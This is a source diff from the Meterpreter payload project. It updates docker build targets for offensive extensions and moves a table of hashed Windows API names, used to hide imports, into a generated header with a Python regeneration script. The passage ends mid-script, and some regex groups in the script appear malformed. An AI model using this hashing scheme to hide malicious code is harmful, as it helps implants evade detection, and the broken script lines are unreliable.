$(DOCKER_CONTAINER) make meterpreter-ext-unhook + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook docker-ext-unhook-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x86 docker-ext-unhook-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x64 docker-ext-winpmem: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem docker-ext-winpmem-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x86 docker-ext-winpmem-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x64 docker-ext-kiwi: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi docker-ext-kiwi-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x86 docker-ext-kiwi-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x64 docker-ext-peinjector: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector docker-ext-peinjector-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x86 docker-ext-peinjector-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x64 docker-ext-bofloader: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-bofloader + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-bofloader docker-ext-bofloader-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-bofloader-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-bofloader-x86 docker-ext-bofloader-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-bofloader-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-bofloader-x64 diff --git a/c/meterpreter/source/metsrv/winapi.h b/c/meterpreter/source/metsrv/winapi.h index 18a76eec6..e9c643c98 100644 --- a/c/meterpreter/source/metsrv/winapi.h +++ b/c/meterpreter/source/metsrv/winapi.h @@ -49,170 +49,8 @@ FARPROC WINAPI GetProcAddressH(HANDLE hModule, DWORD dwFunctionHash); // Compile-time hashes of the exports the wrappers below resolve. Exposed // here so other TUs can pass them to GetProcAddressH without repeating the // literal function-name strings. -enum HashedFunctions { - H_ZwAllocateVirtualMemory = 0xD33D4AED, - H_ZwOpenProcess = 0xF0D09D60, - H_ZwWriteVirtualMemory = 0xC5D0A4C2, - H_ZwReadVirtualMemory = 0x3DEFA5C2, - H_ZwProtectVirtualMemory = 0xBC3F4D89, - H_ZwQueryVirtualMemory = 0x4FD39C92, - H_ZwFreeVirtualMemory = 0xDE63B5C3, - H_ZwQueueApcThread = 0xD2E9B347, - H_ZwOpenThread = 0x197D1E8D, - H_RtlGetVersion = 0xD0C1869C, - H_WriteProcessMemory = 0xD83D6AA1, - H_ReadProcessMemory = 0x579D1BE9, - H_OpenProcess = 0xEFE297C0, - H_VirtualAlloc = 0x91AFCA54, - H_VirtualAllocEx = 0x6E1A959C, - H_VirtualProtect = 0x7946C61B, - H_VirtualProtectEx = 0x53D98756, - H_VirtualQuery = 0xA3C8C8AA, - H_VirtualQueryEx = 0xF45A2B20, - H_VirtualFree = 0x30633AC, - H_VirtualFreeEx = 0xC3B4EB78, - H_CreateRemoteThread = 0x72BD9CDD, - H_CloseHandle = 0xFFD97FB, - H_DuplicateHandle = 0xBD566724, - H_CreateToolhelp32Snapshot = 0xE454DFED, - H_Thread32First = 0xB83BB6EA, - H_OpenThread = 0x58C91E6F, - H_SuspendThread = 0xE8C2CDC, - H_Thread32Next = 0x86FED608, - H_ResumeThread = 0x9E4A3F88, - H_FreeLibrary = 0x4DC9D5A0, - H_FlushInstructionCache = 0x53120980, - H_LocalFree = 0x5CBAEAF6, - H_CreateFileA = 0x7C0017A5, - H_WriteFile = 0xE80A791F, - H_LoadLibraryA = 0xEC0E4E8E, - H_WaitForMultipleObjects = 0x23EAD524, - H_SetHandleInformation = 0x7F9E1144, - H_GlobalFree = 0x7CB922F6, - H_CreateNamedPipeA = 0xB2D6846, - H_ConnectNamedPipe = 0xCB09C9F9, - H_GetOverlappedResult = 0xC087DCE8, - H_ReadFile = 0x10FA6516, - H_CreateThread = 0xCA2BD06B, - H_ResetEvent = 0x560B084F, - H_SetThreadErrorMode = 0x5922C47C, - H_OpenProcessToken = 0x591EA70F, - H_AdjustTokenPrivileges = 0x24488A0F, - H_ImpersonateLoggedOnUser = 0x6D821B37, - H_CryptDuplicateKey = 0x738BCBF6, - H_CryptSetKeyParam = 0x180E1DA8, - H_CryptDecrypt = 0x59202584, - H_CryptGenRandom = 0x4AABDD73, - H_CryptEncrypt = 0xD9242588, - H_CryptDestroyKey = 0x95E24580, - H_CryptReleaseContext = 0x5AE8E894, - H_CryptImportKey = 0xD864E84D, - H_OpenThreadToken = 0x8D91EA66, - H_AllocateAndInitializeSid = 0x5BDCE983, - H_SetEntriesInAclW = 0xB142E54, - H_InitializeAcl = 0xF8AF61AB, - H_InitializeSecurityDescriptor = 0x230EA37F, - H_SetSecurityDescriptorDacl = 0x534E5FC2, - H_SetSecurityDescriptorSacl = 0x714E5FC2, - H_LookupPrivilegeValueW = 0x97E8C2B8, - H_CryptDecodeObjectEx = 0x22BA7198, - H_CryptImportPublicKeyInfo = 0x35A052E0, - H_CertGetCertificateContextProperty = 0x481F9127, - H_GetUserObjectInformationA = 0x11EFCB2B, - H_GetThreadDesktop = 0x56641B89, - H_WSAStartup = 0x3BFCEDCB, - H_socket = 0x492F0B6E, - H_connect = 0x60AAF9EC, - H_accept = 0x498649E5, - H_setsockopt = 0xC055F2EC, - H_recv = 0xE71819B6, - H_WSADuplicateSocketA = 0x5DCA3BD3, - H_InternetOpenW = 0x57E8443F, - H_InternetConnectW = 0x1E4BE824, - H_HttpOpenRequestW = 0xF7DE76B5, - H_InternetSetOptionW = 0xF5EFA023, - H_HttpSendRequestW = 0x2DE6BEB3, - H_HttpQueryInfoW = 0xFB2F4610, - H_InternetReadFile = 0x5FE34B8B, - H_InternetCloseHandle = 0xFA9B69C7, - H_InternetCrackUrlW = 0xA5955290, - H_UuidCreate = 0xC439EDE7, - H_WinHttpOpen = 0xD1026DBE, - H_WinHttpConnect = 0x8AAE8F, - H_WinHttpOpenRequest = 0x8F34E1C1, - H_WinHttpGetIEProxyConfigForCurrentUser = 0xA206024C, - H_WinHttpGetProxyForUrl = 0x88DD3F88, - H_WinHttpSetOption = 0xD83C501E, - H_WinHttpSendRequest = 0x98348882, - H_WinHttpReceiveResponse = 0xDE22845E, - H_WinHttpQueryHeaders = 0x4F8B3B75, - H_WinHttpReadData = 0xB24F660F, - H_WinHttpQueryOption = 0xDB0FB31, - H_WinHttpCrackUrl = 0x73513B, - H_ZwQueryInformationProcess = 0xB16FE439, - H_ZwQueryObject = 0xFEF3F5D0, - H_ZwQueryInformationWorkerFactory = 0xBBC3527A, - H_ZwSetInformationWorkerFactory = 0xEC4E91FC, - H_ZwSetIoCompletion = 0x2FADE3F0, - H_RtlCreateUserThread = 0x442F2041, - H_ZwMapViewOfSection = 0xD5189BF4, - H_ZwCreateSection = 0x5D32CBCB, - H_ZwOpenSection = 0x92BBDE55, - H_ZwOpenFile = 0x8829D4B8, - H_ZwQueryAttributesFile = 0x94A7E91, - H_ZwClose = 0x5D044C61, - H_ZwLockVirtualMemory = 0x8169ADC3, - H_GetModuleHandleA = 0xD3324904, - H_CreateFileW = 0x7C0017BB, - H_CreateNamedPipeW = 0xB2D685C, - H_CreateEventA = 0x30C4B281, - H_CreateEventW = 0x30C4B297, - H_SetEvent = 0xF108744E, - H_WaitForSingleObject = 0xCE05D9AD, - H_Sleep = 0xDB2D49B0, - H_GetProcessHeap = 0xA80EECAE, - H_HeapAlloc = 0x2500383C, - H_HeapFree = 0x10C32616, - H_IsWow64Process = 0xE610CFB8, - H_ProcessIdToSessionId = 0xAC4BA4E8, - H_GetCurrentThreadId = 0x35BBF99E, - H_CryptAcquireContextA = 0x43C28BDA, - H_CryptAcquireContextW = 0x43C28BF0, - H_AddMandatoryAce = 0x4D8DB756, - H_send = 0xE97019A4, - H_bind = 0xC7701AA4, - H_listen = 0xE92EADA4, - H_closesocket = 0x79C679E7, - H_select = 0x5B1E69EE, - H_gethostbyname = 0x510CFDC4, - H_getaddrinfo = 0xACA705C, - H_freeaddrinfo = 0xBC96705E, - H_htons = 0xEB769C33, - H_htonl = 0xEB769C2C, - H_ntohl = 0xEB46FC2C, - H_inet_addr = 0x2FBA176D, - H_WinHttpCloseHandle = 0xB47C201, - H_WinHttpWriteData = 0xFC379FC3, - H_HeapReAlloc = 0xBDC761A8, - H_LocalAlloc = 0x4C0297FA, - H_GetSystemTime = 0xA70B95C5, - H_SystemTimeToFileTime = 0x45A577EA, - H_MultiByteToWideChar = 0xEF4AC4E4, - H_WideCharToMultiByte = 0xC1634AF9, - H_PeekNamedPipe = 0xB407C411, - H_SetNamedPipeHandleState = 0xE97BC532, - H_ReleaseMutex = 0x14A059E5, - H_CreateMutexA = 0x4EE4A045, - H_CreateMutexW = 0x4EE4A05B, - H_TerminateThread = 0xBD016F89, - H_lstrcmpW = 0xCB534951, - H_GetProcessWindowStation = 0x13374FFD, - H_WSAGetLastError = 0x9F5B7976, - H_inet_ntoa = 0x4A121B5C, - H_HttpQueryInfoA = 0xFB2F45FA, - H_CryptBinaryToStringA = 0x7CC2AAAF, - H_CryptStringToBinaryA = 0xF29E1FE8, -}; +#include "winapi_hashes.h" // Auto-generated at CMake configure time. + NTSTATUS winapi_ntdll_ZwAllocateVirtualMemory(HANDLE hProcess, PVOID* pBaseAddress, ULONG_PTR pZeroBits, PSIZE_T pRegionSize, ULONG ulAllocationType, ULONG ulProtect); NTSTATUS winapi_ntdll_ZwOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); diff --git a/c/meterpreter/source/metsrv/winapi_hashes.h b/c/meterpreter/source/metsrv/winapi_hashes.h new file mode 100644 index 000000000..6a3f4e98c --- /dev/null +++ b/c/meterpreter/source/metsrv/winapi_hashes.h @@ -0,0 +1,183 @@ +// Checked-in fallback of the winapi function-name hash table. +// +// This file is what the MSVC vcxproj build sees at compile time; the MinGW / +// CMake build overrides it with a freshly generated version in +// ${CMAKE_BINARY_DIR}/generated/winapi_hashes.h whose include path is placed +// ahead of source/metsrv/, so this file is only used when the CMake gen path +// isn't active. +// +// Values here correspond to _hash() with the compile-time defaults +// HASH_KEY = 13 and HASH_SEED = 0 (see DirectSyscall.h). +// +// To regenerate: `bash tools/regen_winapi_hashes.sh` writes winapi_hashes.txt +// from winapi.h, then `cmake -B build && cp build/metsrv/generated/... .` +// refreshes this file. +#ifndef _METERPRETER_WINAPI_HASHES_H +#define _METERPRETER_WINAPI_HASHES_H + +enum HashedFunctions { + H_ZwAllocateVirtualMemory = 0xd33d4aed, + H_ZwOpenProcess = 0xf0d09d60, + H_ZwWriteVirtualMemory = 0xc5d0a4c2, + H_ZwReadVirtualMemory = 0x3defa5c2, + H_ZwProtectVirtualMemory = 0xbc3f4d89, + H_ZwQueryVirtualMemory = 0x4fd39c92, + H_ZwFreeVirtualMemory = 0xde63b5c3, + H_ZwQueueApcThread = 0xd2e9b347, + H_ZwOpenThread = 0x197d1e8d, + H_RtlGetVersion = 0xd0c1869c, + H_ZwQueryInformationProcess = 0xb16fe439, + H_ZwQueryObject = 0xfef3f5d0, + H_ZwQueryInformationWorkerFactory = 0xbbc3527a, + H_ZwSetInformationWorkerFactory = 0xec4e91fc, + H_ZwSetIoCompletion = 0x2fade3f0, + H_RtlCreateUserThread = 0x442f2041, + H_ZwMapViewOfSection = 0xd5189bf4, + H_ZwCreateSection = 0x5d32cbcb, + H_ZwOpenSection = 0x92bbde55, + H_ZwOpenFile = 0x8829d4b8, + H_ZwQueryAttributesFile = 0x94a7e91, + H_ZwClose = 0x5d044c61, + H_ZwLockVirtualMemory = 0x8169adc3, + H_WriteProcessMemory = 0xd83d6aa1, + H_ReadProcessMemory = 0x579d1be9, + H_OpenProcess = 0xefe297c0, + H_VirtualAlloc = 0x91afca54, + H_VirtualAllocEx = 0x6e1a959c, + H_VirtualProtect = 0x7946c61b, + H_VirtualProtectEx = 0x53d98756, + H_VirtualQuery = 0xa3c8c8aa, + H_VirtualQueryEx = 0xf45a2b20, + H_VirtualFree = 0x30633ac, + H_VirtualFreeEx = 0xc3b4eb78, + H_CreateRemoteThread = 0x72bd9cdd, + H_CloseHandle = 0xffd97fb, + H_DuplicateHandle = 0xbd566724, + H_CreateToolhelp32Snapshot = 0xe454dfed, + H_Thread32First = 0xb83bb6ea, + H_OpenThread = 0x58c91e6f, + H_SuspendThread = 0xe8c2cdc, + H_Thread32Next = 0x86fed608, + H_ResumeThread = 0x9e4a3f88, + H_FreeLibrary = 0x4dc9d5a0, + H_FlushInstructionCache = 0x53120980, + H_LocalFree = 0x5cbaeaf6, + H_CreateFileA = 0x7c0017a5, + H_CreateFileW = 0x7c0017bb, + H_WriteFile = 0xe80a791f, + H_LoadLibraryA = 0xec0e4e8e, + H_WaitForMultipleObjects = 0x23ead524, + H_WaitForSingleObject = 0xce05d9ad, + H_SetHandleInformation = 0x7f9e1144, + H_GlobalFree = 0x7cb922f6, + H_CreateNamedPipeA = 0xb2d6846, + H_CreateNamedPipeW = 0xb2d685c, + H_ConnectNamedPipe = 0xcb09c9f9, + H_GetOverlappedResult = 0xc087dce8, + H_ReadFile = 0x10fa6516, + H_CreateThread = 0xca2bd06b, + H_ResetEvent = 0x560b084f, + H_SetThreadErrorMode = 0x5922c47c, + H_GetModuleHandleA = 0xd3324904, + H_CreateEventA = 0x30c4b281, + H_CreateEventW = 0x30c4b297, + H_SetEvent = 0xf108744e, + H_Sleep = 0xdb2d49b0, + H_GetProcessHeap = 0xa80eecae, + H_HeapAlloc = 0x2500383c, + H_HeapReAlloc = 0xbdc761a8, + H_HeapFree = 0x10c32616, + H_LocalAlloc = 0x4c0297fa, + H_IsWow64Process = 0xe610cfb8, + H_ProcessIdToSessionId = 0xac4ba4e8, + H_GetCurrentThreadId = 0x35bbf99e, + H_GetSystemTime = 0xa70b95c5, + H_SystemTimeToFileTime = 0x45a577ea, + H_MultiByteToWideChar = 0xef4ac4e4, + H_WideCharToMultiByte = 0xc1634af9, + H_PeekNamedPipe = 0xb407c411, + H_SetNamedPipeHandleState = 0xe97bc532, + H_ReleaseMutex = 0x14a059e5, + H_CreateMutexA = 0x4ee4a045, + H_CreateMutexW = 0x4ee4a05b, + H_TerminateThread = 0xbd016f89, + H_lstrcmpW = 0xcb534951, + H_OpenProcessToken = 0x591ea70f, + H_AdjustTokenPrivileges = 0x24488a0f, + H_ImpersonateLoggedOnUser = 0x6d821b37, + H_CryptDuplicateKey = 0x738bcbf6, + H_CryptSetKeyParam = 0x180e1da8, + H_CryptDecrypt = 0x59202584, + H_CryptGenRandom = 0x4aabdd73, + H_CryptEncrypt = 0xd9242588, + H_CryptDestroyKey = 0x95e24580, + H_CryptReleaseContext = 0x5ae8e894, + H_CryptImportKey = 0xd864e84d, + H_OpenThreadToken = 0x8d91ea66, + H_AllocateAndInitializeSid = 0x5bdce983, + H_SetEntriesInAclW = 0xb142e54, + H_InitializeAcl = 0xf8af61ab, + H_InitializeSecurityDescriptor = 0x230ea37f, + H_SetSecurityDescriptorDacl = 0x534e5fc2, + H_SetSecurityDescriptorSacl = 0x714e5fc2, + H_LookupPrivilegeValueW = 0x97e8c2b8, + H_CryptAcquireContextA = 0x43c28bda, + H_CryptAcquireContextW = 0x43c28bf0, + H_AddMandatoryAce = 0x4d8db756, + H_CryptDecodeObjectEx = 0x22ba7198, + H_CryptImportPublicKeyInfo = 0x35a052e0, + H_CertGetCertificateContextProperty = 0x481f9127, + H_CryptBinaryToStringA = 0x7cc2aaaf, + H_CryptStringToBinaryA = 0xf29e1fe8, + H_GetUserObjectInformationA = 0x11efcb2b, + H_GetThreadDesktop = 0x56641b89, + H_GetProcessWindowStation = 0x13374ffd, + H_WSAStartup = 0x3bfcedcb, + H_socket = 0x492f0b6e, + H_connect = 0x60aaf9ec, + H_accept = 0x498649e5, + H_setsockopt = 0xc055f2ec, + H_recv = 0xe71819b6, + H_WSADuplicateSocketA = 0x5dca3bd3, + H_send = 0xe97019a4, + H_bind = 0xc7701aa4, + H_listen = 0xe92eada4, + H_closesocket = 0x79c679e7, + H_select = 0x5b1e69ee, + H_gethostbyname = 0x510cfdc4, + H_getaddrinfo = 0xaca705c, + H_freeaddrinfo = 0xbc96705e, + H_htons = 0xeb769c33, + H_htonl = 0xeb769c2c, + H_ntohl = 0xeb46fc2c, + H_inet_addr = 0x2fba176d, + H_WSAGetLastError = 0x9f5b7976, + H_inet_ntoa = 0x4a121b5c, + H_InternetOpenW = 0x57e8443f, + H_InternetConnectW = 0x1e4be824, + H_HttpOpenRequestW = 0xf7de76b5, + H_InternetSetOptionW = 0xf5efa023, + H_HttpSendRequestW = 0x2de6beb3, + H_HttpQueryInfoW = 0xfb2f4610, + H_InternetReadFile = 0x5fe34b8b, + H_InternetCloseHandle = 0xfa9b69c7, + H_InternetCrackUrlW = 0xa5955290, + H_HttpQueryInfoA = 0xfb2f45fa, + H_UuidCreate = 0xc439ede7, + H_WinHttpOpen = 0xd1026dbe, + H_WinHttpConnect = 0x8aae8f, + H_WinHttpOpenRequest = 0x8f34e1c1, + H_WinHttpGetIEProxyConfigForCurrentUser = 0xa206024c, + H_WinHttpGetProxyForUrl = 0x88dd3f88, + H_WinHttpSetOption = 0xd83c501e, + H_WinHttpSendRequest = 0x98348882, + H_WinHttpReceiveResponse = 0xde22845e, + H_WinHttpQueryHeaders = 0x4f8b3b75, + H_WinHttpReadData = 0xb24f660f, + H_WinHttpQueryOption = 0xdb0fb31, + H_WinHttpCrackUrl = 0x73513b, + H_WinHttpCloseHandle = 0xb47c201, + H_WinHttpWriteData = 0xfc379fc3, +}; + +#endif diff --git a/c/meterpreter/source/metsrv/winapi_hashes.txt b/c/meterpreter/source/metsrv/winapi_hashes.txt new file mode 100644 index 000000000..3c1e4c4b7 --- /dev/null +++ b/c/meterpreter/source/metsrv/winapi_hashes.txt @@ -0,0 +1,189 @@ +# winapi_hashes.txt +# +# Auto-generated by tools/regen_winapi_hashes.py from source/metsrv/winapi.h. +# Do not hand-edit; run the script again after adding/removing wrappers. +# +# DLL prefixes are auto-discovered from `#define _DLL "…"` in +# winapi.c. One function name per line, grouped by DLL in the order the +# `#define`s appear. Blank lines and '#'-comments are ignored by the CMake +# reader. See workspace/metsrv/CMakeLists.txt for the build-time _hash() port. + +# --- kernel32 --- +WriteProcessMemory +ReadProcessMemory +OpenProcess +VirtualAlloc +VirtualAllocEx +VirtualProtect +VirtualProtectEx +VirtualQuery +VirtualQueryEx +VirtualFree +VirtualFreeEx +CreateRemoteThread +CloseHandle +DuplicateHandle +CreateToolhelp32Snapshot +Thread32First +OpenThread +SuspendThread +Thread32Next +ResumeThread +FreeLibrary +FlushInstructionCache +LocalFree +CreateFileA +WriteFile +LoadLibraryA +WaitForMultipleObjects +SetHandleInformation +GlobalFree +CreateNamedPipeA +ConnectNamedPipe +GetOverlappedResult +ReadFile +CreateThread +ResetEvent +SetThreadErrorMode +GetModuleHandleA +CreateFileW +CreateNamedPipeW +CreateEventA +CreateEventW +SetEvent +WaitForSingleObject +Sleep +GetProcessHeap +HeapAlloc +HeapFree +IsWow64Process +ProcessIdToSessionId +GetCurrentThreadId +HeapReAlloc +LocalAlloc +GetSystemTime +SystemTimeToFileTime +MultiByteToWideChar +WideCharToMultiByte +PeekNamedPipe +SetNamedPipeHandleState +ReleaseMutex +CreateMutexA +CreateMutexW +TerminateThread +lstrcmpW + +# --- ntdll --- +ZwAllocateVirtualMemory +ZwOpenProcess +ZwWriteVirtualMemory +ZwReadVirtualMemory +ZwProtectVirtualMemory +ZwQueryVirtualMemory +ZwFreeVirtualMemory +ZwQueueApcThread +ZwOpenThread +RtlGetVersion +ZwQueryInformationProcess +ZwQueryObject +ZwQueryInformationWorkerFactory +ZwSetInformationWorkerFactory +ZwSetIoCompletion +RtlCreateUserThread +ZwMapViewOfSection +ZwCreateSection +ZwOpenSection +ZwOpenFile +ZwQueryAttributesFile +ZwClose +ZwLockVirtualMemory + +# --- advapi32 --- +OpenProcessToken +AdjustTokenPrivileges +ImpersonateLoggedOnUser +CryptDuplicateKey +CryptSetKeyParam +CryptDecrypt +CryptGenRandom +CryptEncrypt +CryptDestroyKey +CryptReleaseContext +CryptImportKey +OpenThreadToken +AllocateAndInitializeSid +SetEntriesInAclW +InitializeAcl +InitializeSecurityDescriptor +SetSecurityDescriptorDacl +SetSecurityDescriptorSacl +LookupPrivilegeValueW +CryptAcquireContextA +CryptAcquireContextW +AddMandatoryAce + +# --- crypt32 --- +CryptDecodeObjectEx +CryptImportPublicKeyInfo +CertGetCertificateContextProperty +CryptBinaryToStringA +CryptStringToBinaryA + +# --- user32 --- +GetUserObjectInformationA +GetThreadDesktop +GetProcessWindowStation + +# --- ws2_32 --- +WSAStartup +socket +connect +accept +setsockopt +recv +WSADuplicateSocketA +send +bind +listen +closesocket +select +gethostbyname +getaddrinfo +freeaddrinfo +htons +htonl +ntohl +inet_addr +WSAGetLastError +inet_ntoa + +# --- rpcrt4 --- +UuidCreate + +# --- winhttp --- +WinHttpOpen +WinHttpConnect +WinHttpOpenRequest +WinHttpGetIEProxyConfigForCurrentUser +WinHttpGetProxyForUrl +WinHttpSetOption +WinHttpSendRequest +WinHttpReceiveResponse +WinHttpQueryHeaders +WinHttpReadData +WinHttpQueryOption +WinHttpCrackUrl +WinHttpCloseHandle +WinHttpWriteData + +# --- wininet --- +InternetOpenW +InternetConnectW +HttpOpenRequestW +InternetSetOptionW +HttpSendRequestW +HttpQueryInfoW +InternetReadFile +InternetCloseHandle +InternetCrackUrlW +HttpQueryInfoA diff --git a/c/meterpreter/tools/regen_winapi_hashes.py b/c/meterpreter/tools/regen_winapi_hashes.py new file mode 100755 index 000000000..bb185426e --- /dev/null +++ b/c/meterpreter/tools/regen_winapi_hashes.py @@ -0,0 +1,135 @@ +#!/usr/bin/env python3 +"""Rewrite winapi_hashes.txt from the wrapper prototypes in winapi.h. + +The list of DLL prefixes is auto-discovered from `#define _DLL "…"` +in winapi.c — the same source the runtime `GetFunctionH()` uses — so +adding a new DLL group requires no changes to this script. + +Usage: + python3 tools/regen_winapi_hashes.py # rewrite the .txt in place + python3 tools/regen_winapi_hashes.py --check # exit non-zero if stale +""" +from __future__ import annotations + +import argparse +import re +import sys +from pathlib import Path + + +DLL_DEFINE_RE = re.compile( + r'^\s*#define\s+[A-Z0-9_]+_DLL\s+"([a-z0-9_]+)\.dll"', + re.MULTILINE, +) + + +def discover_dlls(winapi_c: Path) -> list[str]: + """Return DLL prefixes in the order they appear in winapi.c.""" + text = winapi_c.read_text() + dlls: list[str] = [] + seen: set[str] = set() + for m in DLL_DEFINE_RE.finditer(text): + name = m.group(1) + if name not in seen: + seen.add(name) + dlls.append(name) + if not dlls: + raise SystemExit(f"error: no `#define _DLL \"…\"` found in {winapi_c}") + return dlls + + +def extract_prototypes(winapi_h: Path, dlls: list[str]) -> list[tuple[str, str]]: + """Yield (dll, function) pairs in the order they appear in winapi.h. + + The DLL alternation is anchored so `ws2_32` (which contains `_`) doesn't + get shortened to `ws2` and the leftover `32_` glued onto the function. + """ + # Longest first — belt-and-suspenders against future prefixes that + # could ambiguously match a shorter one (e.g. `winmm` vs `winmm_ext`). + alt = "|".join(sorted(dlls, key=len, reverse=True)) + proto_re = re.compile( + rf"winapi_(?P{alt})_(?P[A-Za-z_0-9]+)\s*\(" + ) + + pairs: list[tuple[str, str]] = [] + seen: set[tuple[str, str]] = set() + for line in winapi_h.read_text().splitlines(): + m = proto_re.search(line) + if not m: + continue + key = (m.group("dll"), m.group("name")) + if key in seen: + continue + seen.add(key) + pairs.append(key) + return pairs + + +def render(pairs: list[tuple[str, str]], dll_order: list[str]) -> str: + header = ( + "# winapi_hashes.txt\n" + "#\n" + "# Auto-generated by tools/regen_winapi_hashes.py from source/metsrv/winapi.h.\n" + "# Do not hand-edit; run the script again after adding/removing wrappers.\n" + "#\n" + "# DLL prefixes are auto-discovered from `#define _DLL \"…\"` in\n" + "# winapi.c. One function name per line, grouped by DLL in the order the\n" + "# `#define`s appear. Blank lines and '#'-comments are ignored by the CMake\n" + "# reader. See workspace/metsrv/CMakeLists.txt for the build-time _hash() port.\n" + ) + out = [header] + dll_to_names: dict[str, list[str]] = {d: [] for d in dll_order} + for dll, name in pairs: + dll_to_names[dll].append(name) + for dll in dll_order: + names = dll_to_names.get(dll, []) + if not names: + continue + out.append(f"\n# --- {dll} ---\n") + out.extend(f"{n}\n" for n in names) + return "".join(out) + + +def main() -> int: + ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument( + "--check", + action="store_true", + help="do not write; exit 1 if the on-disk file differs from the regenerated content", + ) + args = ap.parse_args() + + here = Path(__file__).resolve().parent + root = here.parent + winapi_h = root / "source" / "metsrv" / "winapi.h" + winapi_c = root / "source" / "metsrv" / "winapi.c" + hashes_txt = root / "source" / "metsrv" / "winapi_hashes.txt" + + for f in (winapi_h, winapi_c): + if not f.exists(): + print(f"error: cannot find {f}", file=sys.stderr) + return 1 + + dlls = discover_dlls(winapi_c) + pairs = extract_prototypes(winapi_h, dlls) + new = render(pairs, dlls) + + if args.check: + old = 